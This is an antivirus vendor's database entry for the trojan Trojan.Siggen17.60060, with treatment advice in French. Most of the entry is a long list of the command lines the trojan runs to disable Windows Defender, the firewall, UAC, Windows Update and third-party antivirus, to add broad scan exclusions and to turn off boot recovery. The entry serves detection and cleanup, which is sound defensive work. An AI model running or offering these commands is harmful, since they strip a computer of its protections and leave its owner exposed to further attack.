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Trojan.Siggen17.60060

Added to the Dr.Web virus database: 2022-05-31

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Update
  • Windows Security Center
  • Windows Defender
blocks the following features:
  • User Account Control (UAC)
modifies the following system settings:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im smartscreen.exe
  • '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
  • '<SYSTEM32>\taskkill.exe' /f /im MpCopyAccelerator.exe
  • '<SYSTEM32>\taskkill.exe' /f /im SystemSettings.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im MBAMWsc.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im MBAM.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im Bytefence.exe
Modifies file system
Creates the following files
  • %TEMP%\ixp000.tmp\defeat-defender2.bat
  • %TEMP%\ixp000.tmp\nsudo.exe
  • %TEMP%\ixp000.tmp\nsudo.json
  • %TEMP%\ixp000.tmp\nsudodm.dll
  • %TEMP%\ixp000.tmp\start.cmd
  • nul
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide icacls "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide sc stop windefend
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd
  • '%WINDIR%\syswow64\sc.exe' delete Bytefenceservice
  • '%WINDIR%\syswow64\sc.exe' config Bytefenceservice start= disabled
  • '%WINDIR%\syswow64\sc.exe' stop Bytefenceservice
  • '%WINDIR%\syswow64\sc.exe' delete MBAMService
  • '%WINDIR%\syswow64\sc.exe' config MBAMService start= disabled
  • '%WINDIR%\syswow64\sc.exe' stop MBAMService
  • '%WINDIR%\syswow64\sc.exe' stop nsWscSvc
  • '%WINDIR%\syswow64\sc.exe' delete sense
  • '%WINDIR%\syswow64\sc.exe' delete windefend
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityHealth /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f
  • '<SYSTEM32>\sc.exe' config "avast! Tools" start= disabled
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Security Health" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f
  • '<SYSTEM32>\sc.exe' config SDRSVC start= disabled
  • '<SYSTEM32>\sc.exe' delete "avast! Tools"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Nis-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-MDM-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Group-Policy-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-CloudClean-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' config DiagTrack start= disabled
  • '<SYSTEM32>\sc.exe' stop "avast! Tools"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI__neutral_neutral_cw5n1h2txyewy" /f
  • '<SYSTEM32>\reg.exe' query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
  • '<SYSTEM32>\cmd.exe' /c reg query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
  • '<SYSTEM32>\sc.exe' config "avast! Antivirus" start= disabled
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-ApplicationGuard-Inbox-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' stop "avast! Antivirus"
  • '<SYSTEM32>\sc.exe' stop DiagTrack
  • '<SYSTEM32>\sc.exe' config LicenseManager start= disabled
  • '<SYSTEM32>\sc.exe' stop LicenseManager
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -PUAProtection disable"
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\icacls.exe' "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
  • '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "netsh advfirewall set allprofiles state off"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ScanScheduleDay 8"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SevereThreatDefaultAction 6"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -LowThreatDefaultAction 6"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ModerateThreatDefaultAction 6"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Shield-Provider-Core-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup'"
  • '<SYSTEM32>\sc.exe' stop WdNisSvc
  • '<SYSTEM32>\sc.exe' delete windefend
  • '<SYSTEM32>\sc.exe' stop windefend
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%WINDIR%'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".exe""
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".bat""
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Client-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' delete WdNisSvc
  • '<SYSTEM32>\sc.exe' delete Sense
  • '<SYSTEM32>\sc.exe' stop Sense
  • '<SYSTEM32>\sc.exe' config Spooler start= disabled
  • '<SYSTEM32>\sc.exe' stop Spooler
  • '<SYSTEM32>\sc.exe' config VaultSvc start= disabled
  • '<SYSTEM32>\sc.exe' stop VaultSvc
  • '<SYSTEM32>\sc.exe' config InstallService Start= disabled
  • '<SYSTEM32>\sc.exe' stop InstallService
  • '<SYSTEM32>\sc.exe' config WdiSystemHost start= disabled
  • '<SYSTEM32>\sc.exe' stop WdiSystemHost
  • '<SYSTEM32>\sc.exe' config WdiServiceHost start= disabled
  • '<SYSTEM32>\sc.exe' stop WdiServiceHost
  • '<SYSTEM32>\sc.exe' config Sense start= disabled
  • '<SYSTEM32>\sc.exe' config wscsvc start= disabled
  • '<SYSTEM32>\sc.exe' config windefend start= disabled
  • '<SYSTEM32>\sc.exe' stop SDRSVC
  • '<SYSTEM32>\sc.exe' delete SecurityHealthService
  • '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
  • '<SYSTEM32>\sc.exe' stop SecurityHealthService
  • '<SYSTEM32>\sc.exe' config WaasMedicSvc start= disabled
  • '<SYSTEM32>\sc.exe' stop WaasMedicSvc
  • '<SYSTEM32>\sc.exe' config usosvc start= disabled
  • '<SYSTEM32>\sc.exe' stop usosvc
  • '<SYSTEM32>\sc.exe' config wuauserv start= disabled
  • '<SYSTEM32>\sc.exe' stop wuauserv
  • '<SYSTEM32>\sc.exe' stop wscsvc
  • '<SYSTEM32>\dism.exe' /online /remove-package /packagename:Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~ /NoRestart

Recommandations pour le traitement

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  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
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    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
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